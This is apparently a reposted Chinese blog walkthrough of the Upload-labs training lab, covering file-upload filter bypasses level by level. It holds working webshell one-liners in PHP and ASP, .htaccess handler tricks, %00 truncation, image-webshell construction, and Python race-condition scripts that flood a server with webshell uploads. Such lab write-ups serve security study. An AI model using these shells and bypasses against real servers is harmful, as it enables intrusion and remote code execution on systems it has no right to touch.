Upload-libs通關詳解


Uplo ad-labs—詳解

1前端驗證繞過

 

 

前端驗證繞過可以直接用burp萬能繞過前端JS腳本

方法先上傳一張jpg

Burp改包然后改后綴

上傳成功

2Content-Type方式繞過

此繞過方式是將mimi也就是說文件后綴

我們此時選擇上傳圖片抓包

 

 

發現content——tpype為image/jpeg

接下來我們上傳1.php將content-type改為和圖片一樣的上傳

然后發現上傳成功

 

 

 

3黑名單繞過

這一關是另類的文件名的繞過,可以嘗試phtml,php3,php4, php5, pht后綴名都可以繞過,但是前提是要在配置文件里面有這樣的一句話

AddType application/x-httpd-php .php .phtml .phps .php5 .pht

這是文件源碼不能這些是黑名單

當然還有方法二

構造.htaccess

實現重寫文件解析,同樣這樣的前提也是得在配置文件里面有這樣的一句話

AllowOverride All

LoadModule rewrite_module modules/mod_rewrite.so

 

看一下百度對htaccess的理解

 

概述來說,htaccess文件是Apache服務器中的一個配置文件,它負責相關目錄下的網頁配置。通過htaccess文件,可以幫我們實現:網頁301重定向、自定義404錯誤頁面、改變文件擴展名、允許/阻止特定的用戶或者目錄的訪問、禁止目錄列表、配置默認文檔等功能。

 

我個人理解的意思就是,把SetHandler application/x-httpd-php 這句話寫成.htaccess,然后上傳個jpg,它就當php解析了

 

cmd制作文件方式,先把這句話寫到1.txt,然后ren 1.txt .htaccess,然后就制作好了,先上傳這個,然后把php改成jpg上傳

 

訪問頁面發現沒有回顯,說明解析成功

這里我們需要注意

關鍵字要和你的圖片馬一樣 比如我hatccess文件里面是tony

我圖片馬名稱就是tony

然后利用hackbar傳參來控制,先pwd看一下所在的位置

 

然后ls到上層尋找

 

找到文件,cat一下,然后在源代碼里面就能看到了

 

一開始沒有回顯以為失敗了,結果在源碼里

那么問題來了

此時菜刀應該連接tony.php 還是tony.jpg吶

答案如圖

然后成功

4.htaccess繞過

可以知道方法三的那些php5 ptml都不行了

只能用.htaccess繞過了

此方法在方法3的第二方案講了

 

 

成功上傳

5后綴大小寫繞過

 

 

 

只有用大小寫繞過

但是我覺得這個應該是情況而定吧 你遇到的不一定就是Php就行的

所以多嘗試

各種嘗試

 

訪問成功

6文件后綴(空)繞過

這里我們不就不能用大小寫后綴繞過

加了全部轉換為小寫

 

 

此時大家別像我一樣 在win里面給文件加空格后綴 主要是我之前還加了好久 哈哈

直接上傳抓包 然后burp改包一鍵上傳就OK

成功上傳

7文件后綴名.繞過

 

大家仔細觀察

可以看見和第六題相比此次少了

 

 

這個因此我們可以BP抓包加·繞過

 

 

This is succeeful

8 ::$DATA(Windows文件流繞過)

查看源碼

還是黑名單,但是沒有對后綴名進行去”::$DATA”處理,利用windows特性,可在后綴名中加” ::$DATA”繞過:

之前代碼都有除去字符串

但是這里沒有

成功繞過

9構造文件后綴繞過

str_replace

這個函數大家不陌生吧

可想而知

他先刪除一個點

再刪除一個空格

大家可以發現

成功繞過了

. .(點加空格加點)

10雙寫文件后綴繞過

 

 

查看源碼

$file_name = trim($_FILES['upload_file']['name']);//定義name

$file_name = str_ireplace($deny_ext,"", $file_name);//替換上面的php這些為空

 

找出關鍵代碼

這個很熟悉了吧

Sql雙寫繞過

由於php特殊

所以雙寫也得講道理所以構造下面

 

pphphp

OK I  am winner

11%00截斷繞過。

 

 

 

看源碼發現是白名單

 

 

但是我們發現ima-path直接拼接 因此可以%00繞過

這個時候可以使用%00截斷,但這東西有點過氣了,因為需要兩個條件

 

php版本小於5.3.4

php的magic_quotes_gpc為OFF狀態

如果要完成這一個題目就必須要實現上面的兩個條件,但是現在都PHP7了,這東西也就很少見了,滿足上面的條件的時候php就是把它當成結束符,后面的數據直接忽略,這也導致了很多的問題,文件包含也可以利用這一點

 

所以如果要繞過,我們可以這樣去實現,另save_path等於下面的值

但是現在PHP大多數多高於這個版本了

 

 

截斷時候一定要萬分注意%00后面加空格一定要

12%00截斷2

這次的save_path是通過post傳進來的,還是利用00截斷,但這次需要在二進制中進行修改,因為post不會像get對%00進行自動解碼。

 

找到參數后 后面用二進制工具

9.php%00

13圖片馬

查看源碼

發現對文件頭進行了處理

並以此判斷文件類型
我們可以制作圖片馬進行上傳

 

 

注意這里的圖片必須是真圖片copy下來才能繞過驗證

這是我們簡單寫的一個文件包含

<?php

 

$file = $_GET[ 'page' ];

include($file);

 

?>

這樣采訪才能成功

所以圖片木馬必須配合文件包含漏洞才能使用

 

 

14getimagesize圖片類型繞過

查看源碼

這里利用了getimagesize

rray getimagesize ( string $filename [, array &$imageinfo ] )

getimagesize() 函數將測定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 圖像文件的大小並返回圖像的尺寸以及文件類型和一個可以用於普通 HTML 文件中 IMG 標記中的 height/width 文本字

和13一樣構造圖片馬上傳 同時需要文件包含漏洞

15關php_exif模塊圖片類型繞過

查看源碼

$image_type = exif_imagetype($filename);

這是新加的函數

和13關一樣的繞過方法

16二次渲染繞過

查看源碼

抓包看上傳后圖片的那些部分被截取那些沒有被截取 然后在講代碼插入未被截取的部分

然后也是文件包含漏洞

同樣需要

17條件競爭繞過

查看源碼

$temp_file = $_FILES['upload_file']['tmp_name'];//存儲在服務器的文件的臨時副本的名稱

 

當我們上傳web shell文件時,不會先限制php類型文件上傳,先利用上面的語句把上傳的文件臨時存放。再執行下面的if語句進行文件類型的限制和文件名的時間戳。然后執行if(move_uploaded_file($temp_file, $upload_file))//移動到新文件夾

 

繞過思路是利用代碼執行過程有耗費時間的過程。臨時webshell文件保存的極短時間,去訪問webshell。獲取一些信息

 

我們可以利用burp多線程發包,然后不斷在瀏覽器訪問我們的webshell。會有一瞬間的訪問成功

 

 python腳本:

# coding:utf-8

import hackhttp

from multiprocessing.dummy import Pool as ThreadPool

 

 

def upload(lists):

    hh = hackhttp.hackhttp()

    raw = """POST / HTTP/1.1

Host: http://localhost:8088/upload-labs-master/Pass-17/index.php

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Referer: http://108.160.142.252:9001/

Content-Type: multipart/form-data; boundary=---------------------------19988116922523

Content-Length: 2196

Cookie: csrftoken=r0XE7UKfalFDMCMqF5fphAprLj2CYhzk; sessionid=gv2xwxra43oe9dj7p5wz8lxjtsz0speg

Connection: close

Upgrade-Insecure-Requests: 1

-----------------------------19988116922523

Content-Disposition: form-data; name="upload_file"; filename="damaxiao.php"

Content-Type: application/octet-stream

<?php assert($_POST["a"])?>

-----------------------------19988116922523

Content-Disposition: form-data; name="submit"

ä¸ä¼ 

-----------------------------19988116922523--

"""

    code, head, html, redirect, log = hh.http('http://108.160.142.252:9001/', raw=raw)

    print(str(code) + "\r")

 

 

pool = ThreadPool(20)

pool.map(upload, range(10000))

pool.close()

pool.join()

request模塊

import requests

import hackhttp

from multiprocessing.dummy import Pool as ThreadPool

import sys

reload(sys)

sys.setdefaultencoding('utf8')

 

 

url = 'http://localhost:8088/upload-labs-master/Pass-17/index.php'

 

def upload():

 

       file = {

           'file': open('damaxiao.php','rb')

           }

       header = {

       'Host': '108.160.142.252:9001',

       'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0',

       'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',

       'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',

       'Accept-Encoding': 'gzip, deflate',

       'Cookie': 'csrftoken=r0XE7UKfalFDMCMqF5fphAprLj2CYhzk; sessionid=gv2xwxra43oe9dj7p5wz8lxjtsz0speg; aM3_sid=s98M8S',

       'Connection': 'keep-alive',

       'Upgrade-Insecure-Requests': '1',

       'Cache-Control': 'max-age=0'

       }

 

       # def keepreq():

       r = requests.post(url,files=file)

       print(str(r.status_code) + "\r")

      

pool = ThreadPool(20)

pool.map(upload(), range(10000))

pool.close()

pool.join()

https://blog.csdn.net/u011377996/article/details/86776198

我也不是很懂嘛

18條件競爭2()

同17

19(CVE-2015-2348 move_uploaded_file() 00截斷)

$img_path = UPLOAD_PATH . '/' .$file_name;

            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $img_path)) {

                $is_upload = true;

            }else{

                $msg = '上傳失敗!';

            }

CVE-2015-2348 move_uploaded_file() 00截斷,上傳webshell,同時自定義保存名稱,直接保存為php是不行的

發現move_uploaded_file()函數中的img_path是由post參數save_name控制的,因此可以在save_name利用00截斷繞過:

利用方式:

利用成功

后面加一個空格便是繞過了不知道為什么這么神奇

20IIS6.0解析漏洞

我們先查看源碼

 

http://www.php.cn/php-weizijiaocheng-402602.html

這個函數是按

https://www.cnblogs.com/kenshinobiy/p/7782910.html

http://www.w3school.com.cn/php/func_array_in_array.asp

先按.將文件名稱分割

大概意思就是解析漏洞

成功上傳

21IIS文件名解析

學滲透一定要動手操作,一個簡單的動作重復N遍以上就能學會了。

 

    最近在學習一句話木馬的使用,加上中國菜刀,真是個居家旅行的必備技能。舉例說asp的一句話:

 

<%execute request(chr(97))%>

 

a就是連接密碼了。(一定要寫對chr(97),我看着書寫char(97)被坑了一下午...還以為是服務器設置問題)。但是今天我練習的時候遇到了只能上傳圖片的漏洞,然后就去網上找姿勢,就學習了IIS6.0的解析漏洞了。

 

 

 

我的練習環境是windows 2003的IIS6.0,這個版本有兩個解析漏洞:

 

1、在網站目錄中如果存在名為*.asp、*.asa的目錄,那該目錄內的任何文件都會被IIS解析為asp文件並執行。

 

2、在上傳圖片木馬的時候,將文件名改為*.asp;.jpg,該文件文件都會被IIS解析為asp文件並執行。

 

 

 

第一個漏洞測試成功了,在網站目錄下創建了一個1.asp目錄,在目錄下上傳了內容為<%execute request(chr(97))%>但文件名為cmd.jpg的”圖像“文件,用菜刀成功連接。

 

第二個漏洞同理,不同的只是之間建立一個同樣內容的cmd.asp;.jpg文件。

 

 

 

至於制作asp圖片木馬,今天學到了一個copy拼接的方法:

 

准備一張圖片(盡可能小點吧,10k左右?對加載應該有影響),命名為1.jpg

 

寫asp一句話木馬,命名為1.asp

 

打開cmd,執行COPY 1.jpg /b + 1.asp /a asp.jpg拼接得到asp.jpg即時asp圖片木馬了。【/b表示指定一個二進制文件,/a表示指定一個ASCII文件】

22IIS目錄解析如上

 

 

切記 學習之路 少就是多 慢就是快


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM